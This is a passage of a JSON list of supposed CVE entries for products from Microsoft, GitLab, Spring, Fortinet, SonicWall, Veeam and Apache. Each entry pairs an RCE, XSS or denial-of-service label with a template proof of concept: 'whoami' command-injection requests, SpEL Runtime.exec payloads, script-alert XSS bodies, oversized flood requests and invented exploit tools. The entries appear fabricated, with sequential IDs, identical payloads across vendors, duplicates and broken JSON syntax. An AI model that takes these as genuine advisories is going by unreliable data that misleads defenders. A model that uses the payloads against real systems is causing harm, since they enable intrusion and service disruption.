    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40623",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22301",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28033",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29887",
    "title": "Veeam Service Provider Console - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam SPC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34162",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26274",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40092",
    "title": "Apache Kafka - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Kafka allows script execution via topic names."
  },
  {
    "id": "CVE-2024-21431",
    "title": "Microsoft Azure Synapse - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Synapse via pipeline execution."
  },
  {
    "id": "CVE-2023-28302",
    "title": "Microsoft Outlook - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "outlook.exe --malformed-email crash.eml",
    "description": "Outlook flaw causes denial of service via crafted email processing."
  },
  {
    "id": "CVE-2024-30127",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40624",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22302",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28034",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29888",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34163",
    "title": "SonicWall GMS - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall GMS flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26275",
    "title": "Windows CSRSS - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "csrss_flood --cmd crash",
    "description": "Client-Server Runtime Subsystem flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40093",
    "title": "Apache Flink - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Flink via job submission."
  },
  {
    "id": "CVE-2024-21432",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28303",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30128",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40625",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22303",
    "title": "Spring Data MongoDB - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data MongoDB allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28035",
    "title": "FortiADC - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiadc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiADC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29889",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34164",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26276",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40094",
    "title": "Apache Pulsar - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Pulsar API flaw causes denial of service via crafted function requests."
  },
  {
    "id": "CVE-2024-21433",
    "title": "Microsoft Azure Data Factory - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Data Factory flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28304",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  }
  {
    "id": "CVE-2024-30129",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40095",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21434",
    "title": "Microsoft Azure AD Connect - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "adconnect_flood --cmd crash",
    "description": "Azure AD Connect flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-28305",
    "title": "Microsoft OneNote - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "onenote.exe --malformed-link exploit.one",
    "description": "OneNote flaw allows RCE via malicious hyperlinks in notes."
  },
  {
    "id": "CVE-2024-22304",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28036",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29890",
    "title": "Veeam Backup Enterprise Manager - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup Enterprise Manager allows RCE."
  },
  {
    "id": "CVE-2023-34165",
    "title": "SonicWall SMA - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/sma HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall SMA allows RCE."
  },
  {
    "id": "CVE-2024-26277",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40096",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21435",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28306",
    "title": "Microsoft Publisher - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pub\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Publisher macro vulnerability allows RCE when malicious file is opened."
  },
  {
    "id": "CVE-2024-30130",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40626",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22305",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28037",
    "title": "FortiClient - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "forticlient_flood --cmd crash",
    "description": "FortiClient flaw causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2024-29891",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34166",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26278",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40097",
    "title": "Apache Flink - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Flink allows script execution via job names."
  },
  {
    "id": "CVE-2024-21436",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28307",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30131",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40627",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22306",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28038",
    "title": "FortiNAC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiNAC allows RCE."
  },
  {
    "id": "CVE-2024-29892",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34167",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26279",
    "title": "Windows CSRSS - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "csrss_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40098",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21437",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28308",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-30132",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40628",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22307",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28039",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29893",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34168",
    "title": "SonicWall VPN - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall VPN allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26280",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40099",
    "title": "Apache Kafka - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Kafka via topic configuration."
  },
  {
    "id": "CVE-2024-21438",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28309",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30133",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40629",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22308",
    "title": "Spring Data Neo4j - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"node\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Neo4j allows script execution via node properties."
  },
  {
    "id": "CVE-2023-28040",
    "title": "FortiGate - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiGate flaw causes denial of service via crafted VPN requests."
  },
  {
    "id": "CVE-2024-29894",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34169",
    "title": "SonicWall Analytics - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Analytics allows script execution via report names."
  },
  {
    "id": "CVE-2024-26281",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40100",
    "title": "Apache Airflow - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Airflow allows script execution via DAG names."
  },
  {
    "id": "CVE-2024-21439",
    "title": "Microsoft Azure Synapse - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Synapse allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28310",
    "title": "Microsoft PowerPoint - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "powerpoint.exe --malformed-slide crash.pptx",
    "description": "PowerPoint flaw causes denial of service via crafted slide processing."
  },
  {
    "id": "CVE-2024-30134",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40630",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  }

  {
    "id": "CVE-2024-30135",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40101",
    "title": "Apache Storm - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topology\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Storm via topology submission."
  },
  {
    "id": "CVE-2024-21440",
    "title": "Microsoft Azure API Management - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
